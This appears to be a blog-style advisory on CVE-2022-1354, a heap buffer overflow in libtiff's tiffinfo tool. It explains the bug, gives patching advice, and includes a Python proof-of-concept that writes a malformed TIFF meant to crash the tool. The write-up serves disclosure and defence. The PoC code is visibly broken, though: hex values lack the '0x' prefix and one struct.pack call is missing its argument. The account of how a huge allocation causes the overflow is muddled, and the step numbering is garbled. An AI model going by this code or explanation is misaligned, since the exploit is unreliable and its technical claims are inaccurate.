A serious security vulnerability was discovered in Libtiff, one of the most widely used libraries for handling TIFF image files. Known as CVE-2022-1354, this vulnerability specifically impacts the tiffinfo utility, making it possible for attackers to crash the tool and potentially disrupt systems by simply opening a malicious image file.

In this article, we’ll walk you through everything you need to know: what the vulnerability is, where it’s found, why it happens, and how attackers could exploit it. We’ll also provide code snippets, references, and a simple proof-of-concept example.

What is Libtiff and tiffinfo?

Libtiff is an open-source library for reading and writing Tagged Image File Format (TIFF) files, which are popular in graphics, scanning, and photography.

tiffinfo is a command-line tool included in Libtiff. It prints out a summary of a TIFF file’s contents and format. Users and scripts rely on it to examine image files or automate workflows.

Where is the Vulnerability?

The vulnerability comes from a bug in tiffinfo.c, specifically in the way the program uses the TIFFReadRawDataStriped() function when reading raw, striped data from a TIFF image.

Location: tiffinfo.c, in TIFFReadRawDataStriped()

- Effect: Passing a crafted TIFF file to tiffinfo can overflow a heap buffer, which can cause the tool to crash (Denial of Service).
- Impact: While this issue cannot directly yield code execution, it’s a Denial-of-Service (DoS) exploit that could disrupt batch processing or automated scanning systems that use tiffinfo.

Let’s look at a simplified example from tiffinfo.c (modified for clarity)

// Simplified for illustration
void processTIFF(TIFF *tif) {
    tsize_t raw_size;
    tdata_t buf = _TIFFmalloc(raw_size);
    // ... omitted code ...
    int result = TIFFReadRawDataStriped(tif, buf, raw_size);
    if (result != raw_size) {
        // Handle error
    }
    // ... use buf ...
}

The Bug

The function TIFFReadRawDataStriped doesn’t always read the expected amount of data, especially if the TIFF file has been maliciously crafted. In particular, tiffinfo relies on the TIFF header values to determine the buffer size but doesn’t properly validate if these sizes are correct or safe.

An attacker can create a TIFF file that specifies a large (or just incorrect) strip size, so when the memory is allocated and data is read, it goes beyond the buffer’s bounds — causing a *heap buffer overflow*.

Craft a malicious TIFF file: The attacker creates a TIFF with abnormal strip sizes or offsets.

1. Feed it to tiffinfo: The TIFF file is passed to tiffinfo (maybe directly, or as part of batch processing).
1. Trigger the overflow: The buffer overflow corrupts memory, causing tiffinfo to crash with a segmentation fault or heap error.

This is especially risky in automated systems, such as image converters, web services, and scientific pipelines, where TIFF files from external sources are processed without user review.

Proof-of-Concept Exploit

Below is a minimal Python script using the struct module to create a malformed TIFF file that could trigger the overflow (for demonstration only).

# save as poc.tiff
# WARNING: Don't open with an unpatched tiffinfo!
import struct

# Minimal TIFF header
HEADER = b'II*\x00\x08\x00\x00\x00'

# IFD (Image File Directory) with a large strip size
NUM_ENTRIES = 2
ENTRIES = [
    # Tag 273: StripOffsets (LONG, 1 value, points to offset 1024)
    struct.pack('<HHII', 273, 4, 1, 1024),
    # Tag 279: StripByteCounts (LONG, 1 value, massive size, e.g., xFFFFFFF)
    struct.pack('<HHII', 279, 4, 1, xFFFFFFF),
]

# Directory entries + end marker
IFD = struct.pack('<H', NUM_ENTRIES) + b''.join(ENTRIES) + struct.pack('<I', )

# Fake image data (not actually xFFFFFFF bytes; but tiffinfo will try allocating space!)
DATA = b'X' * 16  # Just enough to crash tiffinfo

with open('poc.tiff', 'wb') as f:
    f.write(HEADER)
    f.write(IFD)
    f.seek(1024)
    f.write(DATA)

print("Wrote poc.tiff")

How this works:

When tiffinfo reads this value, it tries to allocate an enormous buffer.

- In a typical system, malloc fails or partial space is used, leading to heap buffer overflow when reads occur.

Warning: Don't attempt to open this file with tiffinfo unless you are testing in a safe, isolated environment!

How to Protect Against CVE-2022-1354

- Update Libtiff: The maintainers have patched this issue. Upgrade to the latest version of Libtiff. Check your distributions for advisories:
- Red Hat Security Advisory
- Ubuntu CVE Tracker
- Upstream patch

Don’t process untrusted TIFF files unless you’ve updated.

- Use security wrappers (containerization, seccomp, AppArmor) if you must interact with image files from outside sources.

References

- CVE-2022-1354 on NVD
- Red Hat CVE page
- Ubuntu CVE Tracker
- Libtiff GitLab Patch
- TIFF Format Spec

Conclusion

CVE-2022-1354 shows the constant risk of classic buffer overflow bugs, even in trusted, old libraries. If your system uses Libtiff or tiffinfo, update now. Even simple file inspection tools can be a target if they aren’t patched. Audit your file handling pipeline and keep your libraries up to date.

Stay safe when working with files from unknown sources, and always keep security in mind — even for tools you’ve trusted for years.

Timeline

Published on: 08/31/2022 16:15:00 UTC
Last modified on: 11/07/2022 19:10:00 UTC